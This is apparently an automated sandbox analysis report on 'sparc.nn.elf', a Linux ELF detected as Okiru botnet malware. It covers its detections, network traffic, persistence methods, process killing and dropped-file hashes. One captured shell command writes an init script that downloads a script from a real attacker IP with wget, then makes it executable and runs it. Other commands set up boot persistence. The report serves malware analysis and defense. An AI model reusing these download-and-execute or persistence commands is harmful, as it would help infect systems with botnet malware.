Linux Analysis Report
sparc.nn.elf

Overview

General Information

Sample name:	sparc.nn.elf
Analysis ID:	1579938
MD5:	55e6da84c5e2005bc8c515a427f52e51
SHA1:	3950dc233d75a7f669d136766c5f8c0e7afe1b02
SHA256:	e3dfe415371b75fd6b23a556141ed1a1211b1e88273aa054df86f16db04cb204
Tags:	elfuser-abuse_ch
Infos:

Detection

Okiru

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sparc.nn.elf

Avira: detected

Found strings indicative of a multi-platform dropper

Source: sparc.nn.elf

String: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.23:60038 -> 94.156.227.234:38242

Sample listens on a socket

Source: /tmp/sparc.nn.elf (PID: 6238)

Socket: 0.0.0.0:38242

Jump to behavior

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234

Source: sparc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, sparc.nn.elf.32.dr, custom.service.12.dr	String found in binary or memory: http://94.156.227.233/
Source: sparc.nn.elf	String found in binary or memory: http://94.156.227.233/oro1vk/sbin/reboot/usr/sbin/reboot/bin/reboot/usr/bin/reboot/sbin/shutdown/usr

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/sparc.nn.elf (PID: 6317)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	SIGKILL sent: pid: 6278, result: successful	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	SIGKILL sent: pid: 6361, result: successful	Jump to behavior

Source: classification engine

Classification label: mal76.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/sparc.nn.elf (PID: 6238)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/sparc.nn.elf (PID: 6238)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 6298)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 6314)	File: /etc/rc.d/S99sparc.nn.elf -> /etc/init.d/sparc.nn.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/sparc.nn.elf (PID: 6238)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6294)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6303)	File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/sparc.nn.elf (PID: 6317)	File opened: /proc/6361/cmdline	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	File opened: /proc/2096/cmdline	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	File opened: /proc/1664/cmdline	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	File opened: /proc/2102/cmdline	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317)	File opened: /proc/788/cmdline	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/sparc.nn.elf (PID: 6261)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6287)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6295)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6299)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sparc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sparc.nn.elf'\n /tmp/sparc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sparc.nn.elf'\n killall sparc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sparc.nn.elf"	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6301)	Shell command executed: sh -c "chmod +x /etc/init.d/sparc.nn.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6304)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6310)	Shell command executed: sh -c "ln -s /etc/init.d/sparc.nn.elf /etc/rc.d/S99sparc.nn.elf >/dev/null 2>&1"	Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 6294)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 6303)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sparc.nn.elf			Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 6309)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /bin/sh (PID: 6263)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Sample tries to set the executable flag

Source: /tmp/sparc.nn.elf (PID: 6238)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6294)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6303)	File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Writes shell script file to disk with an unusual file extension

Source: /tmp/sparc.nn.elf (PID: 6238)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/sparc.nn.elf (PID: 6238)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 6299)	Writes shell script file to disk with an unusual file extension: /etc/init.d/sparc.nn.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/sparc.nn.elf (PID: 6238)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 6299)	File: /etc/init.d/sparc.nn.elf			Jump to dropped file

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/sparc.nn.elf (PID: 6238)

Queries kernel information via 'uname':

Jump to behavior

Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.XU5WUT
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp	Binary or memory string: /qemu-open.XXXXX
Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp	Binary or memory string: U6!/usr/bin/vmtoolsd
Source: sparc.nn.elf, 6238.1.0000559e2a3f5000.0000559e2a47b000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/sparc.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sparc.nn.elf
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.XU5WUT\d
Source: sparc.nn.elf, 6238.1.00007ffd72d35000.00007ffd72d56000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: sparc.nn.elf, type: SAMPLE
Source: Yara match	File source: 6238.1.00007f5154011000.00007f5154029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sparc.nn.elf PID: 6238, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: sparc.nn.elf, type: SAMPLE
Source: Yara match	File source: 6238.1.00007f5154011000.00007f5154029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sparc.nn.elf PID: 6238, type: MEMORYSTR

Screenshots

No Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
94.156.227.234	unknown	Bulgaria	57463	NETIXBG	true
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

ID:	1579938
Product:	CloudBasic
Start time:	16:11:08
Start date:	23.12.2024
Sample:	sparc.nn.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	55e6da84c5e2005bc8c515a427f52e51
SHA1:	3950dc233d75a7f669d136766c5f8c0e7afe1b02
SHA256:	e3dfe415371b75fd6b23a556141ed1a1211b1e88273aa054df86f16db04cb204
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Name	Type	MD5	SHA1	SHA256
/boot/bootcmd	ASCII text	18D8CBBCF8F7DD3C7D0D794A6B08A67A	F2BCAFAE526567E88570A8B8CDF2C2C6065704E2	44EFE8F801BCADA5AF93A731F38D0D42CDDCABB8FFEA4D7853094BE55FEEE7D2
/etc/init.d/sparc.nn.elf	POSIX shell script, ASCII text executable	AD70F51F89E4259D7CD655D525E21E01	CDF811F660EC319BF48F3489048A32B3D522AD47	7E8FB36E5C5795EA6A8BFBA6EF1C526F7F598E1F416B63AEC33AF9EE7D803733
/etc/init.d/system	POSIX shell script, ASCII text executable	09F86BDE35F95028DC420BD85965E6C9	D086D420EA9ACDDCC5DF5CB6376B2859DCC5869F	18D5DFB6A3C03C6230C5C44E86D5CA89F2981DE895177B0B661E8821906E2F95
/etc/inittab	ASCII text	A77DE1B3844E0EB54EDFB03945A048C8	2F0CD50BE04B07777422322EDC90D7E00529BDFD	50515D7CC036254F44AAF862AA14B775360462280E25BCA089ECB5D9772058BC
/etc/motd	ASCII text	2BD9B4BE30579E633FC0191AA93DF486	7D63A9BD9662E86666B27C1B50DB8E7370C624FF	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
/etc/profile	ASCII text	DE6B584CB0A49150BE90B9055181746A	6D44D5D83208BD421ED9AED916392E772BCFC279	6974DF4CD3CEF813CDEC241ACF39324E169037D62B385447D1B1BCC7BCF638B2
/etc/rc.local	POSIX shell script, ASCII text executable	3E2B31C72181B87149FF995E7202C0E3	BD971BEC88149956458A10FC9C5ECB3EB99DD452	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
/etc/systemd/system/custom.service	ASCII text	0F6DFEE01589BB77463B27AD788D67DD	55193996655221DD4B74D8CF4FD3D317793D7661	9C4D04E16FBB598F9075D4453F3E0C98D71E89ADD7E6C817029D5F14374F1016
/memfd:snapd-env-generator (deleted)	ASCII text	D86A1F5765F37989EB0EC3837AD13ECC	D749672A734D9DEAFD61DCA501C6929EC431B83E	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
/tmp/qemu-open.XU5WUT (deleted)	data	479DFF96FEF8C0361BE018F23BA284A1	2905306047196B8479E5F99AE5BDE09489B62CB2	0C7B074DA667B13DC55BD113600F2475153217214A539D9F402230567AF29C13

Linux Analysis Report
sparc.nn.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report sparc.nn.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report
sparc.nn.elf